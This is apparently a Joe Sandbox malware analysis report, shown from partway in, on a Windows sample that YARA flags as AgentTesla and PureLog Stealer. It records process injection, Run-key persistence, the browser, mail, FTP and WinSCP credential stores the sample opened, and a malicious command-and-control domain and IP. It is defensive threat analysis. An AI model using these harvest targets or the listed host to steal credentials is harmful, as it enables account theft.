Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Roaming\itdtn.exe

Code function: 5_2_06FE7D9B rdtsc

5_2_06FE7D9B

Source: C:\Users\user\Desktop\Copy#51007602.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\Copy#51007602.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\Copy#51007602.exe	Memory written: C:\Users\user\Desktop\Copy#51007602.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Memory written: C:\Users\user\AppData\Roaming\itdtn.exe base: 400000 value starts with: 4D5A			Jump to behavior

Source: C:\Users\user\Desktop\Copy#51007602.exe	Process created: C:\Users\user\Desktop\Copy#51007602.exe "C:\Users\user\Desktop\Copy#51007602.exe"			Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process created: C:\Users\user\AppData\Roaming\itdtn.exe "C:\Users\user\AppData\Roaming\itdtn.exe"			Jump to behavior

Source: C:\Users\user\Desktop\Copy#51007602.exe	Queries volume information: C:\Users\user\Desktop\Copy#51007602.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Queries volume information: C:\Users\user\Desktop\Copy#51007602.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Queries volume information: C:\Users\user\AppData\Roaming\itdtn.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Queries volume information: C:\Users\user\AppData\Roaming\itdtn.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Copy#51007602.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 4.2.itdtn.exe.506b9a8.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.itdtn.exe.506b9a8.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Copy#51007602.exe.40111f0.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Copy#51007602.exe.3de7dd0.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Copy#51007602.exe.3bbe9a0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.3236815937.0000000003347000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.3235618888.00000000032E1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2229535791.0000000003633000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3236815937.0000000003321000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2235868873.0000000005056000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3231826482.000000000042F000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.3235618888.0000000003307000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2111351064.0000000002B74000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2114770908.0000000003991000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Copy#51007602.exe PID: 6008, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Copy#51007602.exe PID: 4084, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: itdtn.exe PID: 2604, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: itdtn.exe PID: 3936, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 0.2.Copy#51007602.exe.50d0000.15.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Copy#51007602.exe.3bbe9a0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Copy#51007602.exe.50d0000.15.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Copy#51007602.exe.3de7dd0.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Copy#51007602.exe.40111f0.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Copy#51007602.exe.40111f0.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Copy#51007602.exe.3de7dd0.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Copy#51007602.exe.3bbe9a0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2123443818.00000000050D0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2114770908.0000000003991000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\Desktop\Copy#51007602.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions			Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions			Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Roaming\itdtn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Roaming\itdtn.exe

File opened: C:\FTP Navigator\Ftplist.txt

Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\Copy#51007602.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior

Source: Yara match	File source: 4.2.itdtn.exe.506b9a8.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.itdtn.exe.506b9a8.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Copy#51007602.exe.40111f0.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Copy#51007602.exe.3de7dd0.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Copy#51007602.exe.3bbe9a0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.3235618888.00000000032E1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2229535791.0000000003633000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3236815937.0000000003321000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2235868873.0000000005056000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3231826482.000000000042F000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2111351064.0000000002B74000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2114770908.0000000003991000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Copy#51007602.exe PID: 6008, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Copy#51007602.exe PID: 4084, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: itdtn.exe PID: 2604, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: itdtn.exe PID: 3936, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 4.2.itdtn.exe.506b9a8.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.itdtn.exe.506b9a8.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Copy#51007602.exe.40111f0.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Copy#51007602.exe.3de7dd0.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Copy#51007602.exe.3bbe9a0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.3236815937.0000000003347000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.3235618888.00000000032E1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2229535791.0000000003633000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3236815937.0000000003321000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2235868873.0000000005056000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3231826482.000000000042F000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.3235618888.0000000003307000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2111351064.0000000002B74000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2114770908.0000000003991000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Copy#51007602.exe PID: 6008, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Copy#51007602.exe PID: 4084, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: itdtn.exe PID: 2604, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: itdtn.exe PID: 3936, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 0.2.Copy#51007602.exe.50d0000.15.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Copy#51007602.exe.3bbe9a0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Copy#51007602.exe.50d0000.15.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Copy#51007602.exe.3de7dd0.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Copy#51007602.exe.40111f0.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Copy#51007602.exe.40111f0.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Copy#51007602.exe.3de7dd0.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Copy#51007602.exe.3bbe9a0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2123443818.00000000050D0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2114770908.0000000003991000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	111 Process Injection	2 Obfuscated Files or Information	1 Credentials in Registry	24 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Registry Run Keys / Startup Folder	1 Software Packing	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	221 Security Software Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	1 Process Discovery	SSH	Keylogging	23 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	141 Virtualization/Sandbox Evasion	Cached Domain Credentials	141 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	111 Process Injection	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Link
Copy#51007602.exe	29%	Virustotal	Browse
Copy#51007602.exe	16%	ReversingLabs
Copy#51007602.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\itdtn.exe	100%	Avira	HEUR/AGEN.1332199
C:\Users\user\AppData\Roaming\itdtn.exe	100%	Joe Sandbox ML

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
api.ipify.org	1%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://api.ipify.org/	0%	URL Reputation	safe
https://api.ipify.org/	0%	URL Reputation	safe
https://api.ipify.org	0%	URL Reputation	safe
https://stackoverflow.com/q/14436606/23354	0%	URL Reputation	safe
https://account.dyn.com/	0%	URL Reputation	safe
https://api.ipify.org/t	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://stackoverflow.com/q/11564914/23354;	0%	URL Reputation	safe
https://stackoverflow.com/q/2152978/23354	0%	URL Reputation	safe
https://github.com/mgravell/protobuf-neti	0%	Avira URL Cloud	safe
https://github.com/mgravell/protobuf-net	0%	Avira URL Cloud	safe
http://jahnindustry.shop	0%	Avira URL Cloud	safe
https://github.com/mgravell/protobuf-netJ	0%	Avira URL Cloud	safe
https://github.com/mgravell/protobuf-net	0%	Virustotal		Browse
https://github.com/mgravell/protobuf-neti	0%	Virustotal		Browse
https://github.com/mgravell/protobuf-netJ	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
jahnindustry.shop	66.29.151.236	true	true		unknown
api.ipify.org	104.26.13.205	true	false	1%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.ipify.org/	false	URL Reputation: safe URL Reputation: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://github.com/mgravell/protobuf-net	Copy#51007602.exe, 00000000.00000002.2114770908.00000000045F2000.00000004.00000800.00020000.00000000.sdmp, Copy#51007602.exe, 00000000.00000002.2114770908.00000000046BE000.00000004.00000800.00020000.00000000.sdmp, Copy#51007602.exe, 00000000.00000002.2123138110.0000000004F30000.00000004.08000000.00040000.00000000.sdmp, Copy#51007602.exe, 00000000.00000002.2111351064.0000000002B74000.00000004.00000800.00020000.00000000.sdmp, itdtn.exe, 00000004.00000002.2229535791.0000000003371000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://api.ipify.org	Copy#51007602.exe, 00000000.00000002.2114770908.0000000003991000.00000004.00000800.00020000.00000000.sdmp, Copy#51007602.exe, 00000000.00000002.2111351064.0000000002B74000.00000004.00000800.00020000.00000000.sdmp, Copy#51007602.exe, 00000002.00000002.3235618888.0000000003291000.00000004.00000800.00020000.00000000.sdmp, itdtn.exe, 00000004.00000002.2235868873.0000000005056000.00000004.00000800.00020000.00000000.sdmp, itdtn.exe, 00000004.00000002.2229535791.0000000003633000.00000004.00000800.00020000.00000000.sdmp, itdtn.exe, 00000005.00000002.3231826482.000000000042F000.00000040.00000400.00020000.00000000.sdmp, itdtn.exe, 00000005.00000002.3236815937.00000000032DC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://jahnindustry.shop	Copy#51007602.exe, 00000002.00000002.3235618888.0000000003307000.00000004.00000800.00020000.00000000.sdmp, itdtn.exe, 00000005.00000002.3236815937.0000000003347000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/mgravell/protobuf-neti	Copy#51007602.exe, 00000000.00000002.2114770908.00000000045F2000.00000004.00000800.00020000.00000000.sdmp, Copy#51007602.exe, 00000000.00000002.2114770908.00000000046BE000.00000004.00000800.00020000.00000000.sdmp, Copy#51007602.exe, 00000000.00000002.2123138110.0000000004F30000.00000004.08000000.00040000.00000000.sdmp, Copy#51007602.exe, 00000000.00000002.2111351064.0000000002B74000.00000004.00000800.00020000.00000000.sdmp, itdtn.exe, 00000004.00000002.2229535791.0000000003371000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://stackoverflow.com/q/14436606/23354	Copy#51007602.exe, 00000000.00000002.2114770908.00000000045F2000.00000004.00000800.00020000.00000000.sdmp, Copy#51007602.exe, 00000000.00000002.2111351064.0000000002CEE000.00000004.00000800.00020000.00000000.sdmp, Copy#51007602.exe, 00000000.00000002.2114770908.00000000046BE000.00000004.00000800.00020000.00000000.sdmp, Copy#51007602.exe, 00000000.00000002.2123138110.0000000004F30000.00000004.08000000.00040000.00000000.sdmp, Copy#51007602.exe, 00000000.00000002.2111351064.0000000002B74000.00000004.00000800.00020000.00000000.sdmp, itdtn.exe, 00000004.00000002.2229535791.0000000003371000.00000004.00000800.00020000.00000000.sdmp, itdtn.exe, 00000004.00000002.2229535791.00000000034EF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://account.dyn.com/	Copy#51007602.exe, 00000000.00000002.2114770908.0000000003991000.00000004.00000800.00020000.00000000.sdmp, Copy#51007602.exe, 00000000.00000002.2111351064.0000000002B74000.00000004.00000800.00020000.00000000.sdmp, itdtn.exe, 00000004.00000002.2235868873.0000000005056000.00000004.00000800.00020000.00000000.sdmp, itdtn.exe, 00000004.00000002.2229535791.0000000003633000.00000004.00000800.00020000.00000000.sdmp, itdtn.exe, 00000005.00000002.3231826482.000000000042F000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/mgravell/protobuf-netJ	Copy#51007602.exe, 00000000.00000002.2114770908.00000000045F2000.00000004.00000800.00020000.00000000.sdmp, Copy#51007602.exe, 00000000.00000002.2114770908.00000000046BE000.00000004.00000800.00020000.00000000.sdmp, Copy#51007602.exe, 00000000.00000002.2123138110.0000000004F30000.00000004.08000000.00040000.00000000.sdmp, Copy#51007602.exe, 00000000.00000002.2111351064.0000000002B74000.00000004.00000800.00020000.00000000.sdmp, itdtn.exe, 00000004.00000002.2229535791.0000000003371000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://api.ipify.org/t	Copy#51007602.exe, 00000002.00000002.3235618888.0000000003291000.00000004.00000800.00020000.00000000.sdmp, itdtn.exe, 00000005.00000002.3236815937.00000000032DC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	Copy#51007602.exe, 00000000.00000002.2111351064.0000000002CEE000.00000004.00000800.00020000.00000000.sdmp, Copy#51007602.exe, 00000002.00000002.3235618888.0000000003291000.00000004.00000800.00020000.00000000.sdmp, itdtn.exe, 00000004.00000002.2229535791.000000000357C000.00000004.00000800.00020000.00000000.sdmp, itdtn.exe, 00000005.00000002.3236815937.00000000032DC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://stackoverflow.com/q/11564914/23354;	Copy#51007602.exe, 00000000.00000002.2114770908.00000000045F2000.00000004.00000800.00020000.00000000.sdmp, Copy#51007602.exe, 00000000.00000002.2114770908.00000000046BE000.00000004.00000800.00020000.00000000.sdmp, Copy#51007602.exe, 00000000.00000002.2123138110.0000000004F30000.00000004.08000000.00040000.00000000.sdmp, Copy#51007602.exe, 00000000.00000002.2111351064.0000000002B74000.00000004.00000800.00020000.00000000.sdmp, itdtn.exe, 00000004.00000002.2229535791.0000000003371000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://stackoverflow.com/q/2152978/23354	Copy#51007602.exe, 00000000.00000002.2114770908.00000000045F2000.00000004.00000800.00020000.00000000.sdmp, Copy#51007602.exe, 00000000.00000002.2114770908.00000000046BE000.00000004.00000800.00020000.00000000.sdmp, Copy#51007602.exe, 00000000.00000002.2123138110.0000000004F30000.00000004.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
66.29.151.236	jahnindustry.shop	United States		19538	ADVANTAGECOMUS	true
104.26.13.205	api.ipify.org	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1448039
Start date and time:	2024-05-27 15:14:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 51s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Copy#51007602.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@6/3@2/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 91% Number of executed functions: 495 Number of non-executed functions: 34
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
09:15:06	API Interceptor	17x Sleep call for process: Copy#51007602.exe modified
09:15:19	API Interceptor	18x Sleep call for process: itdtn.exe modified
15:14:56	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run itdtn C:\Users\user\AppData\Roaming\itdtn.exe
15:15:04	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run itdtn C:\Users\user\AppData\Roaming\itdtn.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
66.29.151.236	Doc100057638xls.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	REF0000QWERT544FILE.vbe	Get hash	malicious	AgentTesla	Browse
	Doc0781123608.exe	Get hash	malicious	AgentTesla, PureLog Stealer, XWorm	Browse
	Doc1000050789.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	5021036673.exe	Get hash	malicious	Nanocore, AgentTesla, PureLog Stealer	Browse
	Vessel Position.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	fNLCIrX52t.exe	Get hash	malicious	AgentTesla	Browse
	IMG1024785000.exe	Get hash	malicious	Nanocore, AgentTesla, PureLog Stealer	Browse
	IMG_608900026.022.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	PAYMENT COPY 02521.exe	Get hash	malicious	AgentTesla, PureLog Stealer, XWorm	Browse
104.26.13.205	ReturnLegend.exe	Get hash	malicious	Stealit	Browse	api.ipify.org/?format=json
